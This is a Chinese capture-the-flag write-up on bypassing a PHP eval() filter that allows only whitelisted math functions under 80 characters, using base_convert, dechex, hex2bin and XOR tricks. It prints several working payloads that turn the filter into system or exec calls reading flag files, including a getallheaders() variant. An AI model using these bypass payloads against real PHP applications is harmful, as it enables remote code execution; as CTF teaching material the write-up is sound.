数字函数及其白名单和黑名单的过滤
打开页面,看到源码
1 | <?php |
通过源码,我们可以看到eval()这个危险函数,但是也看见了正则过滤和白名单和黑名单,因此我们需要绕过这些过滤,然后在eval()中构造恶意代码,限制有:
1 | 1. 输入的字符串只能在80个字符以内(不包含80个字符) |
常用数学函数:http://www.w3school.com.cn/php/php_ref_math.asp
所以我们只能使用白名单中的数学函数及其“.”和“^”等,同时字符数限制在80个以内
php语言的特点
动态函数
php中可以把函数名通过字符串的形式传递给一个变量
1 | $function="sayhello";$function(); |
php中函数名默认为字符串
如白名单中的asinh和pi可以直接异或,这就增加了构造字符的选择,下面有个例子:
在数学函数中有个is_nan()函数和tan()函数
1 | <?php |
按照这两个php特性,我们可以加以利用
构造payload
1 | $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac flag.php |
其中&abs=tac flag.php有空格并不影响,因为它不会参与过滤,同时分析payload
1 |
|
其中hex2bin()函数会将16进制转换为ascii字符串,其中为什么base_convert()是37907361743,这是我写的一个exp
1 | <?php |
当然介意百度或记住这个函数的10进制值,如果本地测试($_GET){1}(($_GET){2})建议使用7版本的phpsyudy,否则会出错
也可以用header来传,即使用getallheaders()函数
getallheaders()函数
1 | getallheader()---------------------------------------获取全部HTTP请求头信息 |
所以我们可以构造payload
1 | get提交:$pi=base_convert;$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1}) |
分析payload
1 | base_convert(696468,10,36) => "exec" |
也可以构造exec(‘cat f*’)或system(‘cat f*’)
1 | //exec('hex2bin(dechex(109270211257898))') => exec('cat f*') |
当然也可以使用php语言中可以将函数名当作字符串进行异或的特性,所以我们可以写一个exp
1 | <?php |
所以可以构造payload
1 | $pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag |